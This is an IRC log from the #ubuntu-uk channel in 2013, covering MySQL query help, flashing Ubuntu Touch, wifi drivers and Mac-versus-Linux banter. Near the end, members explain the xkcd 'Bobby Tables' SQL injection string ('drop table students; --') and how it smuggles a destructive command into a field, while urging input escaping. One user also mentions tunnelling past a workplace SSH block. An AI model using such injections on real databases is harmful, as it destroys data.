<A5c11Char5et> Users @ neuro
<BigRedS> neuro: that'd error with unknown table wouldn't it?
<neuro> case sensitivity matters (if your filesystem is case sensistive, at least)
<diplo> A5c11Char5et: Have you actually run the query directly against mysql, I tend to do that until i find the issue :)
<A5c11Char5et> diplo, no - I haven't. I'll try it..
<neuro> A5c11Char5et: do another pastebin of your updated query?
<BigRedS> yeah, field names should be in backticks, too
<neuro> should :)
<A5c11Char5et> http://pastebin.com/N2RwPCEH
<BigRedS> well, either backticks or no quotes
<A5c11Char5et> BigRedS, ah - okay.
<A5c11Char5et> I'll make that change..
<BigRedS> like that you've an invalid character in the field name - a single-quote
<BigRedS> Personally, I'd not bother. But I generally don't shout my SQL either
<neuro> BigRedS has it with the backticks
<neuro> keep the single quotes for the data values, but change quotes to backticks for the field names
<A5c11Char5et> brb guys..
<neuro> (thought it looked funny)
<BigRedS> yeah, this is why I never bother with quotes except for values
<BigRedS> can never remember which ones are supposed to be where :)
<A5c11Char5et> I think its working now guys
<A5c11Char5et> I changed the field names to backtick, left the quotes for the values
<A5c11Char5et> Like you suggested :)
<BigRedS> Hm. I appear to be running libapache2-mod-php5filter
<BigRedS> that's not the mod_php I know and love, is it?
<danfish_wibble> hi AlanBell - how's tricks?
<AlanBell> good thanks
<mungbean> dishwasher not finishing its cycle :( must be something invisible stuck in the drain
<A5c11Char5et> Great, now I can't get onto my database administration because my web hosts site has gone down :/
<danfish_wibble> have been having problems accessing my VPN running irssi since worked blocked ssh, hence the odd nick
<danfish_wibble> I'm bouncing off a ajaxterm session here, a tor session there, ip over dns. Fun :(
<popey> \o/ new SSD arrived
<popey> time to copy/paste some partitios around the place!
<AlanBell> sounds convoluted danfish_wibble
<AlanBell> how are the ducks?
<danfish_wibble> ala
<danfish_wibble> oops
<danfish_wibble> AlanBell: the ducks are at my folk's at the moment - had a slight problem with our resident foxes, but that's being sorted next month. Got 4 aylesbury's in the end
<redtape-renegade> Right, OK Shopping done ! Kettle on , chillax ...
<redtape-renegade> what have I missed ?
<redtape-renegade> ... other thanm popey popping tablets :)
 * redtape-renegade changes his medication from Monster Khaos Energy Drink to Monster Rehab (tea +Lemonade+Energy) Energy Drink whilst no-one is looking. Hehe   <--- Evil grin ...
<andylockran> just saw this: All PHP books (including my new PHP Web Services now $5.99) are half price for a week at @oreillymedia oreil.ly/Xq9zVe
<redtape-renegade> andylockran: Yeah, good offer.. they do it couple of times a year .. :)
<redtape-renegade> https://dl.dropbox.com/u/55128914/Attachments%20Email%20Xchat/Manx%20Railway%20Central%20Station%20at%203pm%20today%20in%20Douglas%2C%20near%20Tesco.JPG
<redtape-renegade> As I sat watching the old trains at the railway station todayn , I asked "Where are the people all gone ? " I waited for 10 minutes enjoying the Sun and having my chocolate covered flapjack from Peel Road .. magicial. Simple things :)
<shauno> perhaps they've figured out that railways go nowhere fun on an island?
<directhex> they do on the island of sodor
<directhex> the trains mostly go off the rails, or into walls, or things. world's most dangerous railway
<redtape-renegade> shauno: Yeah, Prob.ly right .. but ppl pass through there usually .. I am just boasting 'cos I got a new digital camera off ebaY for Â£22 .. and tried it out in a 'secure ' location.
<redtape-renegade> directhex: Isn't that a a jackass sketch ?
<redtape-renegade> ... haven't had an accident here in 50 years ?
 * redtape-renegade asks the TheOpensourcerer for one ;)
<redtape-renegade> directhex: Aren't you thinking about the Tourist Trophy ??
<directhex> nope. the dangerous rail system on the isle of sodor.
<popey> thing is, they manage to get all those accidents on _film_!
<redtape-renegade> hahaha .. very good .. watch ojut for Gordion .. he's evil  :)
<redtape-renegade> **Gordon
<redtape-renegade> !seen Percy off Thomas the Tank Engine
<lubotu3> I have no seen command
<neuro> "Nexus 7 issues: Runs in portrait mode by default. (no side stage)"
<neuro> ouch
<neuro> This. Is. Alpha.
<SuperMatt> ah, I see the compaints have started coming in ;)
<directhex> where's the version for hp touchpad? >8\/
<SuperMatt> I really don't know what people were expecting
<popey> Yes. Well done. It's not like we said repeatedly it's a preview.
<popey> Oh, wait. We did.
<neuro> Yeah, but still
<kvarley> All the same, Ubuntu used to be rock solid. I think people just assume it will work reliably from the get go, which is a compliment to Ubuntu really
<redtape-renegade> Can I add one to my Amazon Wishlist yet ??
<neuro> woah wait
<neuro> the flash instructions are ubuntu only?
<neuro> well, i mean, i get why, but ... waaa
<popey> shut your noise neuro
<popey> it's becoming tiresome
<neuro> exsqueeze me?
<popey> also, its a wiki, if you have instructions on how to do it with other distros, knock yourself out
<neuro> you're joshing, no?
<popey> nope
<neuro> le sigh
<popey> these tools are available on other platforms
<neuro> so i'm only permitted to say positive things, ever?
<popey> none of us run windows or osx. so haven't tried
<popey> others can
<popey> I didnt say that. but think before you type maybe
<mungbean> in other words: stop, collaborate and listen
<kvarley> neuro: Officially Canonical will likely only ever make it tools, etc available on Ubuntu because that's what they are set up to support in terms of finances, etc. Other distro support is community driven.
<mungbean> ice ice baby \o/
<popey> the "tool" is a python script. last I heard python was also available on other linux distros and even windows and osx
<SuperMatt> no wai!
<neuro> kvarley: thank you for your considered reply, it is appreciated
<popey> wai
<SuperMatt> well beat me down with a mackeral
<SuperMatt> I never knew that
<neuro> popey: and thanks for being particularly nasty when I was simply making a comment
<popey> oh please
<neuro> no, not "oh please"
<popey> you've been around long enough to know the way the world works
<popey> stop feining ofence
<popey> *offence
<neuro> i'm not feigning anything
<neuro> do you really think "shut your noise" is an appropriate response?
<ali1234> why is there a new tool for flashing rather than fastboot?
<popey> it uses fastboot, it's just a python script
<popey> to make it easier for our users, it also does the auto device detection and download of image files
 * kvarley envies Mike Larabel right now - http://t.co/1keNJOSwH0 (Nexus 7 and a Nexus 10)
<redtape-renegade> Wow 5pm flame war .. still better than the Starwars prequels...
<neuro> this isn't a flame war
<ali1234> "still a better love story than twilight"
<directhex> ali1234++
<redtape-renegade> ^ better quote !
<mungbean> isn't that a film about an abusive relationship?
<ali1234> no dude, it';s about sparkly vampires
<redtape-renegade> got vamps n' everything !
<mungbean> walked in on my missis while she was watchign it
<neuro> unlucky
<mungbean> had to ask if it was the music video of the film
<redtape-renegade> ooh tough one ..
<redtape-renegade> how did get out of that pickle ?
<popey> neuro: sorry for being prickly, perhaps I was overgrumpy in my response. Won't happen again.
 * mungbean draws a line
<mungbean> ----------------------------
<mungbean> :D
<neuro> popey: understood chief, i know it sounds like i do nothing but rag on touch, i guess i just play devil's advocate a bit too often. But I am geting more and more genuinely excited for the possibilities as more info emerges
<redtape-renegade> group huig again \o/
<redtape-renegade> *hugs
<neuro> my point about flashing was more a personal problem rather than a problem with the flash instructions per se - i have no ubuntu desktops that are not virtual
<neuro> hopefully parallels usb implementation works well enough to try
<mungbean> neuro: just spin up a live cd
<kvarley> neuro: Like popey said, it's just a GUI for fastboot :) so technically it should actually work on any distro
<daubers> popey: Newb type question: The "Ubuntu SDK", is this just for phones/tablets, or can you use it for desktop development as well?
<neuro> kvarley: i have no physical linux desktops :)
<kvarley> neuro: Oh...What are you doing with yourself then? :P
<neuro> this is an OS X home (the two aberrant windows systems aside)
<popey> neuro: it's just using fastboot which is available on other platforms i believe
<popey> ali1234: knows more about this than I do
<kvarley> neuro: In which case, live CD or live USB :)
<neuro> i'll try parallels first, worst case i'll live cd with my dell vostro
<neuro> need to find a use for it I guess apart from running VSphere client ;)
<neuro> kvarley: what am i doing with myself? sat on my butt every day watching star trek and talking to you lot ;)
<mungbean> neuro: for work or play reasons?
<mungbean> (vspher)
<neuro> play
<neuro> unemployment precludes work purposes
<neuro> i have two esxi servers at home
<neuro> my ubuntu infra runs on them
<neuro> plus an N40L for some extra storage and backup processes
<neuro> but that runs precise native rather than esxi as i use USB storage on it
<mungbean> i use vsphere in enterprise
<neuro> it's lovely, isn't it
<mungbean> only reason i need windows on my laptop
<mungbean> "lovely"
<neuro> yeah
<mungbean> its powerful
<neuro> if they could sort that out, it would be class
<mungbean> but when on ibm blades is sucky
<neuro> really?
<mungbean> vsaphere 5.1 is an improvemnet
<mungbean> IBM customise their vmware images, you can't just load stock esxi on it
<neuro> aaah course
<mungbean> hence the many blade crashes we see
<MartijnVdS> why make it standard!
<mungbean> due to shonky ibm firmware and dodgy lsi drivers
<mungbean> hate ibm
<neuro> heh
<mungbean> and the big boss who thought it was a good idea
<mungbean> already did a big implementation on dell and it went smooth
<neuro> "nobody ever got fired for buying from big blue"
<mungbean> ibm has sucked royally
<neuro> goes the old saying
<mungbean> *incorrect saying
<neuro> is it?
<mungbean> IBM suck
<neuro> oh right
<neuro> i thought you meant i'd misremembered it :)
<mungbean> so many bugs in their firmware
<popey> neuro: https://plus.google.com/u/0/111546301798870886212/posts/YQtL332CyT8
<mungbean> and terrible products (e.g bladecenter AMM(
<popey> he's using a mac...
<neuro> popey: interesting
<neuro> WHAT THE ...
<neuro> when you boot the nexus from the bootloader ...
<neuro> the font is the ZX Spectrum font!!
<neuro> seems to be working, parallels for the win
<redtape-renegade> Today's Squidgy Speak is "LETTERBOX" brought to you by Tesco-Number  Aisle 13 .. http://goo.gl/zerbg
<neuro> cdimage.ubuntu.com must be getting slammed
<neuro> throughput is all over the shop
<redtape-renegade> can you not use ab torrrent ??
<redtape-renegade> **a torrent...
<neuro> it's the install process for blowing the image onto a device
<neuro> it wgets from cdimage.ubuntu.com
<redtape-renegade> tell me more ...
<neuro> um
<neuro> https://wiki.ubuntu.com/Touch/Install?
<neuro> s/\?//
<neuro> although using a webseeded torrent instead of purely http would be a nice touch
<neuro> in saying that, just using http does democratise the process, e.g. taking advantage of sys level proxy configs etc
<neuro> not everyone can torrent
<neuro> related: i noticed the other day that BT have removed p2p throttling on unlimited infinity products
<neuro> which is nice
<neuro> 3 mins to go!
<redtape-renegade>                                                  .. my forehead hurts now, thanx.
<neuro> ok?
 * redtape-renegade goes and checks his letterbox for a break ..
<redtape-renegade> MartijnVdS: Do you bother checking your inbox on Spotify and giving a courteous reply these days ??
<neuro> popey: any idea how "Pushing blahblah.zip to /sdcard/autodeploy.zip" should take when running phablet-flash -b?
<popey> 10 mins or so
<neuro> hmmm
<neuro> i'm at about 8-9 mins
<redtape-renegade> hmmm what ?
<neuro> but the kernel oops in kern.log looks potentially interesting
<redtape-renegade> is jono on at 7pm ??
<neuro> no
<neuro> last night
<neuro> well, that's been nearly 20 minutes
<neuro> i think it's almost safe to say this has gone sour
<neuro> blaming parallels usb in 3 ... 2 ... 1 ...
<neuro> i think i'll stick a pin in this for a bit and watch the newsroom for a bit
<redtape-renegade> http://youtu.be/zx7wPN1e_7Q?t=25m34s Ubuntu Global Jam March 1st till 3rd
<popey> hmm.. "What's the clonking noise coming from my pc?"
<popey> that would be the sata cable stopping the cpu fan from spinning
<popey> erk
 * bigcalm waddles in
<bittin> installing Xubuntu on my new Laptop
<bittin> no fucking Windows 8 :(
<DJones> bittin: Without the f-word please
<Darael> I should imagine that wouldn't be particularly pleasant, no.
<DJones> Just looking at the specs for the Chromebook Pixel, certainly doesn't seem a machine you'd replace the o/s on, only a 32Gb ssd for local storage, admitedly 1tb of google drive storage, but only 100Mb of data transfer/month on contract
<DJones> Unusual screen resolution though, 2560x1700 (3:2)
<ubuntubhoy> Â£1049 for the Google Chrome Pixel
<ubuntubhoy> thats one dear chromeBook
<cr0w13y> That's a ridiculous price
<ubuntubhoy> yip
<ubuntubhoy> even more for the LTE one due later
<DJones> Probably cheaper to buy flights to the US, buy one there and then fly home
<ubuntubhoy> $1299 in the states iirc
<ubuntubhoy> $1449 for LTE
<cr0w13y> Need those extra pixels to look at mah crappy mobile phone pics though...
<DJones> Whats the betting that 1/2 the price comes from the unusually sized screen/resolution
<cr0w13y> How much is the cheapest chromebook?
<DJones> Â£1049
<popey> 250 innit
<davmor2> 220
<cr0w13y> still too much, really.
<davmor2> so 230 is what we paid for Sue's chromebook from samsung
<DJones> Sorry, was thinking of the new models
<ubuntubhoy> the Asus or Acer is it is Â£199
<ubuntubhoy> I would be happy with Chromium OS booting from my HD from GRUB
<ubuntubhoy> but it keeps crapping out on me
<cr0w13y> would ye use it much though? I mean, what's the selling point on Chrome OS?
<redtape-renegade> http://chromeos-cr48.blogspot.com/2012/11/looking-for-acer-c7-chrubuntu-tester.html?showComment=1361146976629#c5697624364677273993
<ubuntubhoy> cr0w13y: most of my PC time is social media
<ubuntubhoy> it's ideal for that
<cr0w13y> I guess. I use a nexus7 for that, myself; cheaper and more portable. Not much cheaper though, really. But, I think I could probably do more with the tablet.
<ubuntubhoy> I have an N7 as well, and also use it
<ubuntubhoy> but at times I like the keyboard
<ubuntubhoy> Touch also works very well on chromium OS
<bittin> Somone can help me to get wlan to work in Ubuntu on: http://www.dustinhome.se/product/5010663695/hp-655-amd-1-7-4gb-500-15-6-w8/ ?
<cr0w13y> Nice. Tell you what I'm after: one of those cheap ARM netbooks with really low specs, no speakers and an SD screen, no touchpad -something really basic with linux on it for doing IT stuff with.
<cr0w13y> bittin: open terminal, type: lspci look for the wireless controller. then search for it on t'interweb with the term 'linux' or 'ubuntu'. Sure you'll find something useful
<bittin> cr0w13y: only shows up Ethernet controller and NEtwork Controller :p
<cr0w13y> what is the network controller called?
<bittin> Ralink Corp. Device 3290
<cr0w13y> This might help http://rricketts.com/installing-ralink-rt3290-wireless-drivers-in-ubuntu-12-04/
<bittin> cr0w13y: will try that :)
<cr0w13y> Assuming you've checked everything else like switching wireless on in bios or on a button. Looks like other people had the same problem though.
<bittin> cr0w13y: yeah just bought this laptop
<cr0w13y> bittin: well do tell us if it works ;)
<bittin> cr0w13y: will do its compling stuff now :p
<bittin> did not get it to work
<bittin> but might be me :(
<cr0w13y> have you tried switching it on and off?lol
<bittin> yes
<cr0w13y> gutted. What Ubuntu are you using, anyway? 12.04 or 12.10?
<bittin> cr0w13y: Xubuntu 12.10
<bittin> but hard to think when people was shouting on me on Skype, now i turned on some Kraftwerk on Spotify instead
<bittin> found it as ra0 now :p
<cr0w13y> nice
<bittin> will try to share my iPhone to have something to try with
<bittin> but networkmanager won't find any wifis :(
<bittin> and the button is still red
<bittin> hmm
<cr0w13y> 12.04 might work better you know.
<bittin> http://linuxforums.org.uk/index.php?topic=10422.0
<bittin> somone here got it to work in 12.10
<bittin> must be me that are a n00b or to tired :p
<cr0w13y> take a break and hit it again when your ready, innit.
<bittin> yeah
<bittin> think ill do it
<bittin> don't think i will install Windows 7 on this one :(
<bittin> Installing Windows 8 instead, as iam lazy :<
<bigcalm> I forgot how much I enjoyed playing Postal 2 in 2003/4
 * bigcalm runs everywhere with scissors
<popey> i have never played postal
<popey> or postal 3
<popey> or 2
 * popey plays a spot of LA Noire
<popey> !bots
<lubotu3> Hi! I'm #ubuntu-uk's favorite infobot, you can search my brain yourself at http://ubottu.com/factoids.cgi | Usage info: http://ubottu.com/devel/wiki/Plugins | Bot channels and general info: https://wiki.ubuntu.com/IRC/Bots
<Azelphur> I'm thinking about buying one of these laptops with a fancy AMD APU in it
<Azelphur> would be good for emulators n some games
<redtape-renegade> anyone seen the gogle pixel yet ?
<popey> directhex: my desktop (windows) used to play steam fine, now, LA Noire is kinda skippy. like every second or so animation jitters, it didnt used to.. any ideas?
<popey> even dialled down all the detail
<bigcalm> popey: Anti-virus kicking in? Harddrive on the fritz?
<popey> unlikely
<popey> not much AV going on
 * popey googles
<bigcalm> Can you view the task manager at the same time as playing the game?
<bigcalm> (multiple monitors ftw)
<bigcalm> Does the issue show itself in windowed mode?
 * bigcalm gives up on trying to see and goes to bed
<popey> heh
<czajkowski> evening
<popey> yo
<Oli> popey: Do you know if the tablet/phone system has a codename that's going to be used for marketing purposes? We at Ask Ubuntu are trying to decide how to group these things under tags but we can't figure out the name of the thing - which isn't great when you're trying to describe it in one word!
<Oli> If you don't, can you (or somebody in here) point me at somebody that might?
<Oli> To clarify: the release notes call it "Touch", discussion is as "Ubuntu Phone" on Launchpad, we're currently calling it "mobile" on AU (horrible!). The closest I can get to a definitive is the developer.ubuntu.com page that suggests "Ubuntu Touch" might not be a bad name to settle for.
<cr0w13y> 'Touch' seems to be it
<popey> Oli: ask pmcgowan in #ubuntu-phone?
<popey> oh, he end of day'd
<Prageeth> hi all
<popey> hello
<Oli> popey: ta, I will do
#ubuntu-uk 2013-02-22
<redtape-renegade> Morning ... Anyone ?
<ali1234> bug 1129467
<lubotu3> bug 1129467 in android-tools (Ubuntu) "adb no longer works with latest Android update (4.2.2)" [Undecided,Confirmed] https://launchpad.net/bugs/1129467
<kvarley> neuro: Found this re: our chat last night. http://liliputing.com/2013/02/how-to-install-ubuntu-touch-on-a-nexus-7-with-windows-mac-or-linux.html
<neuro> ah legend, cheers :)
<kvarley> neuro: np :)
<neuro> i had a hiccup trying via parallels, so would be neat to try natively
<redtape-renegade> neuro: Is parallels a good system ?
<neuro> i think so
<redtape-renegade> Any drawbacks ?
<neuro> i'm still not 100% sure about usb devices
<neuro> apart from that, it's great
<redtape-renegade> ok
<neuro> i'm a firm believer that dual/triple-booting is crazy talk
<neuro> at least for me
<neuro> i always find i want to use a tool that's only available in the OS i'm not booted into
<neuro> pain in the butt
<kvarley> neuro: Used to be the case for me with games...Not anymore :)
<kvarley> I just use virtualbox for any windows apps if I need them
<neuro> i have a full windows vm on this mac just to use vmware vsphere client :)
<kvarley> You own a mac :/
<neuro> i own several
<kvarley> More money than sense? :P
<neuro> 15" i7 MBP in front of me
<neuro> 13" i5 MBP in my bag
<neuro> i5 mac mini in front of my tv
<neuro> c2d mac mini in my office
<neuro> and a c2d 15" mbp in my office that has a busted fan
<kvarley> neuro: https://twitter.com/kjvarley/status/304525504998957056
<neuro> and a bunch of old ppc and 68k macs too
<kvarley> IMO macs are torture and stupidly over priced. Yes they look pretty but that's about how useful they are.
<neuro> you're right about window tiling, at least out of the box (i think there are 3rd party utils that do that, i've never needed them)
<neuro> why are you using a us layout keyboard?
<kvarley> neuro: Dunno, the 30 or so macs at uni have US layout keyboards
<neuro> that's not the fault of the macs :)
<neuro> you know about opt+3, right? ####
<kvarley> neuro: It's not US though because US layout keyboards still have # on them
<neuro> ohhhhh
<kvarley> opt + 3 ?
<neuro> scuze, let me disengage early morning stupid brain
<neuro> you're right, i'm thinking the other way round
<neuro> out the box, you get a hash mark by pressing option (aka alt) and 3
<neuro> # voila
<neuro> however
<neuro> that sucks
<kvarley> Also, why doesn't the "maximise" button actually maximise the window? It does it vertically but not horizontally
<neuro> so i use a different keyboard layout on my macs
<neuro> http://neuro.me.uk/2009/08/31/getting-the-uk-keyboard-layout-right-in-snow-leopard/
<kvarley> And what is the point in the CMD key, other than ta pain
<neuro> it puts \ and # and " and @ in all the right places
<neuro> the cmd key goes all the way back to the Lisa, it's just a legacy thing
<redtape-renegade> Boiler Engineer has just arrived .. he's 30 minutes late !
<kvarley> neuro: I'll never be able to do that unfortunately, the system is locked down pretty well
<neuro> the same way Sun keyboards have oodles of extra keys that are useful on that platform
<neuro> kvarley: if you have a home dir, you can drop new keyboard layouts there
<neuro> ~/Library/Keyboard Layouts
<neuro> might be worth a try
<kvarley> neuro: I have a fake home dir so not sure if it will work
<kvarley> Either way, I'd rather use dirty windows 7 than OS X
<neuro> and what's the beef about rename option in the finder?
<kvarley> There isn't one
<kvarley> That's my beef
<neuro> yup
<kvarley> Why?
<neuro> you just slow double click
<kvarley> Oh yeah, that's great
<neuro> click to select, then click again to enable rename
<kvarley> Or press enter when the file is selected
<neuro> it's just another way of doing things, no less number of clicks
<kvarley> People who use OS X come across like it's easy to use
<kvarley> It is far from it since everything is backwards, just like Apple
<neuro> People who don't regularly use OS X or very reguarly use other OSes come across like OS X is hard to use
<neuro> it's no less hard than any other operating system
<neuro> you just have your muscle memory wired in another direction
<kvarley> neuro: I disagree. I've used different OS' before. Granted I have spent more time on Windows and Linux than OS X but I've spent a considerable amount of time on Macs and I'm still completely lost
<kvarley> With Linux I can get a totally different DE and learn it pretty quickly
<neuro> i admit it can be a slightly harder culture shift
<neuro> i think it's because of all the UI spooge shared between windows and most Linux Des
<neuro> s/Des/DEs/
<neuro> I thing ragging on OS X just because it's different can be slightly unfair
<neuro> s/thing/think/
<kvarley> neuro: It's not because it's different, I appreciate different as long as it provides easier or faster workflow
<kvarley> OS X doesn't seem to do either IMO
<neuro> i get that
<neuro> but i find i can work very well in OS X, I think mainly because I'm familiar with it
<kvarley> :)
<neuro> I think that's all that this is, it's just a familiarity issue
<neuro> i'm not saying THOU MUST ADORE MACS MUAHAHAHA, but i think it's a bit unfair just to write them off as crap because you are unfamiliar with them
<kvarley> I guess. Either way, I think some features are counter-intuitive and will never be buying an Apple product hehe
<neuro> which is completely your choise
<neuro> choise?
<kvarley> Choice
<neuro> what is up with my fingers this morning
<popey> morning
<neuro> why aye
<popey> pip pip
<neuro> kvarley: thing is though, the cost thing has never concerned me
<kvarley> neuro: Really? Why not?
<neuro> because i know i'm getting a well built, quality product
<neuro> i got tired of buying dells and seeing them fall to bits under heavy use
<kvarley> neuro: You're getting a product built by Foxconn just like a lot of other hardware
<neuro> it's not just the manufacture, it's the design too
<neuro> and apple clearly have more rigourous quality control standards as to what they consider a finished product
<neuro> in terms of durability, for example
<kvarley> neuro: I think physically that Apple hardware looks good and is fairly robust. But price for performance is just stupid.
<neuro> but it's not just about performance
<neuro> i want a hardware and software platform i know i can rely on
<kvarley> neuro: What about Apple having the power to discontinue your hardware? Like with iPods they just say that you're not getting any more updates ... Buy a new one sucker
<neuro> then because Apple finally had the foresight to go x86 like the rest of the planet, I can throw another OS on there
<kvarley> neuro: With much difficulty. Apple make it very hard to do anything like that
<neuro> rly?
<neuro> they make it easy to install windows
<kvarley> neuro: They're proprietary all the way
<kvarley> neuro: Only after years of locking everything down
<neuro> ubuntu installs fairly well too from what i hear
<kvarley> neuro: Maybe your issue was that you were buying the wrong hardware before you switched to Apple :)
<kvarley> neuro: That work is not down to Apple though
<neuro> i was buying from one of the biggest PC manufacturers in the world
<kvarley> neuro: I meant for your needs.
<neuro> and talking about proprietory in the face of PC manus deploying this secure boot stuff? :)
<neuro> my needs are a stable and robust computing platform
<neuro> I personally find those needs met with Macs
<kvarley> neuro: That's not the PC world, that's Microsoft screwing the PC marketplace
<neuro> yes
<neuro> and you don't find that concerning? :)
<kvarley> neuro: I have no interest in buying Microsoft products though
<neuro> but you have to (usually) pass the microsoft hurdle if you want to buy some new PC hardware these days
<neuro> yes, i know you can self build, but that can be a pain for most people
<kvarley> neuro: Yeah, usually. Depends what you buy really.
<neuro> oh totally
<kvarley> neuro: I'm fortunate in that the people I know ask me what to get rather than getting something THEN asking me to put ubuntu on it
<directhex> secure boot is *such* a pointless drama
<neuro> but the number of OEMs shipping non-Windows 8 hardware will decline over time
<neuro> directhex: i know
<neuro> kvarley: hehe
<kvarley> neuro: Windows 8 is just an abomination in general
<jacobw> morning
<neuro> oh goodness, yes
<kvarley> neuro: In that respect you're better off with your Macs :)
<neuro> ha :)
<directhex> strangely windows 8 is faster on XP-era hardware than XP
<kvarley> jacobw: \0 :)
<neuro> directhex: wat?!?
<directhex> them's the benchmarks
<neuro> wow
<neuro> i did not know that
<directhex> ten year old cpu and 1 gig of ram = faster OS
<neuro> probably kernel and driver optimisation
<jacobw> does the CPU have features that the XP kernel isn't using?
<neuro> on a 10 year old system? i'd hope not
<kvarley> neuro: We have different views on what hardware we need. :) I buy solely for performance then just get Linux whereas you buy a complete package.
<neuro> i'd say that was a fair observation
<neuro> right, i need to find some brekkie, i think this is why i'm typoing so much, back in a few :)
<kvarley> neuro: hehe, cya
 * kvarley confesses he installed XFCE and has mimicked the Unity layout
<jacobw> bubt without the expose stuff
<jacobw> s/bubt/but
<kvarley> jacobw: Yeah. I would install unity on Arch but I think that'd be a crime
<JamesTait> Happy Friday, people! :-D
<jacobw> happy friday JamesTait
<redtape-renegade> T'is Friday, true.
<redtape-renegade> Anyone know how I can use an SDcard with dropbox .. my netbook HD drive is only 15 GB ??
<kvarley> redtape-renegade: Yeah you can, when you set up Dropbox on your computer it will ask you whether you want to put Dropbox in a custom location or just the default /home/user/Dropbox folder
<neuro> mmm, cheerios and marlboros
<neuro> (not at the same time, obviously)
<AlanBell> bug 1131646
<lubotu3> bug 1131646 in Unity "alt-tab: cursor keys to navigate switcher are counter-intuitive" [Undecided,New] https://launchpad.net/bugs/1131646
<A5c11Char5et> Hi guys
<neuro> hola
<A5c11Char5et> More SQL woes :(
<A5c11Char5et> I suspect this is probably a stupid question for somebody who knows SQL
<neuro> AlanBell: good shout
<A5c11Char5et> Hang on, I'll paste bin it..
<neuro> it does seem counterintuitive as is
<AlanBell> yeah, I try really really hard to live with the Unity alt-tab switcher, but it is so frustrating
<AlanBell> I can't believe the designers actually use it
<A5c11Char5et> Any ideas why this isn't working guys ?
<A5c11Char5et> http://pastebin.com/BZjbNaC9
<neuro> need the error
<A5c11Char5et> Okay
<A5c11Char5et> MySQL said:
<A5c11Char5et> #1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE `UserName`='charles_l_hurst'' at line 1
<neuro> put a space on either side of the =
<neuro> actually
<neuro> step back
<neuro> you can't do that
<neuro> INSERT is to insert a new row
<neuro> you need to use UPDATE
<neuro> to update an existing one
<AlanBell> update users where foo
<AlanBell> update users set confirmed=0 where foo
<neuro> UPDATE `Users` SET ... yup
<neuro> ;)
<A5c11Char5et> Thanks neuro
<A5c11Char5et> I'll look up update
<A5c11Char5et> I don't usually dabble in SQL
<A5c11Char5et> I'm just doing some webdev
<A5c11Char5et> Thanks dude.
<neuro> might be worth reading up the mysql docs, they give a good overview of the basics
<AlanBell> A5c11Char5et: maybe install phpmyadmin locally to have a play with it in a gui, it tells you what SQL it is doing
<neuro> if this is for webdev, make sure you sanitise any input as well to prevent sql injection (plenty of tutorials and language functions kicking about to do that)
<A5c11Char5et> AlanBell, I'm using phpmyadmin on the server
<A5c11Char5et> neuro, yeah - I've been thinking about that
<A5c11Char5et> neuro, just like checking length and content and stuff
<A5c11Char5et> Is that enough ?
<kvarley> A5c11Char5et: No no no
<neuro> http://xkcd.com/327/
<neuro> ^ that's a brilliant example :)
<kvarley> A5c11Char5et: You need escape the strings to stop people being able to inject SQL. Regex and length checks should be done as well.
<kvarley> neuro: hehe good old xkcd
<A5c11Char5et> Regular expressions *shudders*
<A5c11Char5et> ;)
<dwatkins> remove all special characters, perhaps, too
<A5c11Char5et> Escape strings, ah - okay.
<dwatkins> I guess that's what sanitisation is, removing the quote marks and such like, as in neuro's XKCD cartoon
<AlanBell> little bobby tables
<neuro> :)
<dwatkins> there are functions to do this in PHP, iirc
 * AlanBell uses a user called "Bobby Tables" as demo data whenever possible
<dwatkins> haha, nice
<dwatkins> I tend to use Zaphod Beeblebrox as my example username.
<AlanBell> one day someone will spot the joke
<dwatkins> occasionally Ford Prefect shows up too.
<popey> I use Elvis Presley
<dwatkins> What's the double minus on the end of Bobby Tables' full name, after the semicolon?
<popey> https://launchpad.net/~elvis-presley is me
<neuro> nooooooooo
<neuro> i thought he was really using launchpad!
<AlanBell> dwatkins: good question
<Laney> sql comment
<neuro> http://dev.mysql.com/doc/refman/4.1/en/comments.html
<dwatkins> an empty comment? ah ok
<shauno> I'm not sure it's empty; it'd cause it to disregard the rest of the intended instruction
<neuro> yup
<dwatkins> shauno: yeah, I guess it would stop any subsequent commands in users' names being executed, too
<neuro> so that if the input was passed into an actual mysql statement, the remainder of the statement of the injection wouldn't cause any errors from a malformed half-command
<shauno> right, assume the original statement is something dull like 'update students where name = $student limit 1'.  it becomes where name = robert); drop table students; -- limit 1, so the -- stops the 'limit 1' making it invalid
<brobostigon> good morning everyone,
<ali1234> carbon doesn't back up homescreens
<dwatkins> shauno: aha, cunning
<ali1234> now i have to put back all the icons
<ali1234> great, google have dne something to the clock widget so you can't make it smaller then 5x2
<ali1234> so now i can never set my homescreen up like it was before
<neuro> ooh, just realised it's friday morning
<neuro> big bang theory time :D
<popey> \o/ Friday
<neuro> i can report that the latest TBBT is awesome, as always
<davmor2> Morning all
<ali1234> wow the new build in firefox pdf viewer is slow
<ali1234> it takes about 3 seconds to scroll each page
<directhex> rendering a pdf is hard
<ali1234> it is when you do it with javascript
<directhex> javascript is the future. didn't you hear the gnome devs?
<AlanBell> ooh, how does that reader work then?
<AlanBell> FF19 in raring just downloads PDF files for me
<AlanBell> oh, I see, they have to be downloaded in a certain way
<AlanBell> mimetype perhaps
<AlanBell> ali1234: it is fast for me
<AlanBell> really fast
<BigRedS> Argh. As if to prove my last mail to the list right I just created an *awful* empathy theme
<ali1234> directhex: don't forget KDE devs
<ali1234> they did it first
<directhex> javascript is not fast
<directhex> most of the reason why it's "fast" in browsers is high speed DOM
<directhex> without the DOM, javascript is slow
<ali1234> without DOM it has nothing to do anyway
<directhex> without DOM it's a slow scripting language
<ali1234> yep
<AlanBell> CPU is never the bottleneck (unless something is spinning it for no reason)
<ali1234> but of course anything that isn't compiled to native machine code is slow
 * davmor2 is currently addicted to Lazard's remix of beverly cravens "promise me"
<davmor2> all 8 versions
<directhex> the two arguments for using JS for linux desktop development are nonsense
<directhex> speed is nonsense due to the DOM being the choke point
<directhex> and transferrable skills are nonsense since there's little you can transfer from webdev to desktop dev, even if the language matches
<ali1234> i totally agree
<BigRedS> that's the bit that got me - I don't want web developers writing any software I run outside of a browser
<BigRedS> I've seen what they write
<directhex> i don't want them writing software i run *inside* a browser, for the most part
<BigRedS> well, no, but it's hard to get away from that
<ali1234> i don't want to run software written by anyone who isn't comfortable writing machine code with a hex editor
 * AlanBell isn't comfortable writing machine code in a hex editor
<AlanBell> I wouldn't run software written by me either
<BigRedS> ah, no, software written by me is allowed to be rubbish
<ali1234> when you think about it...
<ali1234> you don't teach kids to use a calculator first, right?
<ali1234> so why is it suddenly the right thing to do to start introductory programming courses with high level languages?
<AlanBell> ali1234: schools actually teach picaxe controller programming
